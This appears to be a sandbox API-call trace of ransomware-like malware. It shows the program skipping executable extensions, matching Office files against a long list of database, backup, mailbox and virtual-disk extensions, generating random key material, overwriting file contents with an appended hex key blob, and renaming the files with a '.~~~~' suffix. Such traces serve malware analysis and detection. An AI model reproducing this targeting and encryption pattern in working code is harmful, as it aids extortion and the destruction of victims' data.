	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.828] lstrlenW (lpString=".FDB") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.828] lstrlenW (lpString=".EDB") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.828] lstrlenW (lpString=".DACPAC") returned 7
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.828] lstrlenW (lpString=".VHD") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.828] lstrlenW (lpString=".DBV") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.828] lstrlenW (lpString=".dacpac") returned 7
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.828] lstrlenW (lpString=".sdf") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.828] lstrlenW (lpString=".accdb") returned 6
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.828] lstrlenW (lpString=".DBX") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.828] lstrlenW (lpString=".MDT") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.828] lstrlenW (lpString=".SQB") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.828] lstrlenW (lpString=".vhd") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.828] lstrlenW (lpString=".bac") returned 4
	[0145.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.828] lstrlenW (lpString=".mdf") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.829] lstrlenW (lpString=".BAK") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.829] lstrlenW (lpString=".BAC") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.829] lstrlenW (lpString=".dbs") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.829] lstrlenW (lpString=".vhdx") returned 5
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.829] lstrlenW (lpString=".NDF") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.829] lstrlenW (lpString=".dat") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.829] lstrlenW (lpString=".DBS") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.829] lstrlenW (lpString=".CKP") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.829] lstrlenW (lpString=".edb") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.829] lstrlenW (lpString=".PST") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.829] lstrlenW (lpString=".dbf") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.829] lstrlenW (lpString=".SQL") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.829] lstrlenW (lpString=".pst") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.829] lstrlenW (lpString=".dbv") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.829] lstrlenW (lpString=".SDF") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.829] lstrlenW (lpString=".dtxs") returned 5
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.829] lstrlenW (lpString=".db3") returned 4
	[0145.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.829] lstrlenW (lpString=".OST") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.830] lstrlenW (lpString=".dbx") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.830] lstrlenW (lpString=".DB3") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.830] lstrlenW (lpString=".DAT") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.830] lstrlenW (lpString=".VHDX") returned 5
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.830] lstrlenW (lpString=".ndf") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.830] lstrlenW (lpString=".DB") returned 3
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.830] lstrlenW (lpString=".sql") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.830] lstrlenW (lpString=".MYD") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.830] lstrlenW (lpString=".DBT") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.830] lstrlenW (lpString=".ACCDB") returned 6
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.830] lstrlenW (lpString=".fdb") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.830] lstrlenW (lpString=".bak") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.830] lstrlenW (lpString=".myd") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.830] lstrlenW (lpString=".DTXS") returned 5
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.830] lstrlenW (lpString=".ckp") returned 4
	[0145.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.831] lstrlenW (lpString=".dbt") returned 4
	[0145.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.831] lstrlenW (lpString=".db") returned 3
	[0145.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".db") returned 0x0
	[0145.831] lstrlenW (lpString=".TXT") returned 4
	[0145.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.831] lstrlenW (lpString=".MDF") returned 4
	[0145.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.831] lstrlenW (lpString=".bdb") returned 4
	[0145.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.831] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.831] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.832] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.832] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.832] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26582261620) returned 1
	[0145.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0539070, dwHighDateTime=0x1d60e1e)) 
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f8d0
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f8d0 | out: hHeap=0x300000) returned 1
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0360
	[0145.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0145.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0360 | out: hHeap=0x300000) returned 1
	[0145.833] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.833] GetLastError () returned 0x0
	[0145.834] GetLastError () returned 0x0
	[0145.834] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.834] GetLastError () returned 0x0
	[0145.834] GetLastError () returned 0x0
	[0145.834] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.835] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.836] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.836] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.836] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.836] CloseHandle (hObject=0x114) returned 1
	[0145.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0360
	[0145.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.~~~~")) returned 1
	[0145.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0360 | out: hHeap=0x300000) returned 1
	[0145.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.912] GetLastError () returned 0x0
	[0145.912] RtlWakeConditionVariable () returned 0x0
	[0145.912] GetCurrentThreadId () returned 0x9cc
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.912] lstrlenW (lpString=".cmd") returned 4
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.912] lstrlenW (lpString=".dll") returned 4
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.912] lstrlenW (lpString=".bat") returned 4
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.912] lstrlenW (lpString=".cpl") returned 4
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.912] lstrlenW (lpString=".sys") returned 4
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.912] lstrlenW (lpString=".msc") returned 4
	[0145.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.913] lstrlenW (lpString=".com") returned 4
	[0145.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.913] lstrlenW (lpString=".lnk") returned 4
	[0145.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.913] lstrlenW (lpString=".msp") returned 4
	[0145.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.913] lstrlenW (lpString=".pif") returned 4
	[0145.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.913] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.915] lstrlenW (lpString=".sqb") returned 4
	[0145.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.915] lstrlenW (lpString=".ost") returned 4
	[0145.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.915] lstrlenW (lpString=".txt") returned 4
	[0145.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.915] lstrlenW (lpString=".mdt") returned 4
	[0145.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.915] lstrlenW (lpString=".BDB") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.916] lstrlenW (lpString=".eql") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.916] lstrlenW (lpString=".DBF") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.916] lstrlenW (lpString=".EQL") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.916] lstrlenW (lpString=".FDB") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.916] lstrlenW (lpString=".EDB") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.916] lstrlenW (lpString=".DACPAC") returned 7
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.916] lstrlenW (lpString=".VHD") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.916] lstrlenW (lpString=".DBV") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.916] lstrlenW (lpString=".dacpac") returned 7
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.916] lstrlenW (lpString=".sdf") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.916] lstrlenW (lpString=".accdb") returned 6
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.916] lstrlenW (lpString=".DBX") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.916] lstrlenW (lpString=".MDT") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.916] lstrlenW (lpString=".SQB") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.916] lstrlenW (lpString=".vhd") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.916] lstrlenW (lpString=".bac") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.916] lstrlenW (lpString=".mdf") returned 4
	[0145.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.917] lstrlenW (lpString=".BAK") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.917] lstrlenW (lpString=".BAC") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.917] lstrlenW (lpString=".dbs") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.917] lstrlenW (lpString=".vhdx") returned 5
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.917] lstrlenW (lpString=".NDF") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.917] lstrlenW (lpString=".dat") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.917] lstrlenW (lpString=".DBS") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.917] lstrlenW (lpString=".CKP") returned 4
	[0145.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.917] lstrlenW (lpString=".edb") returned 4
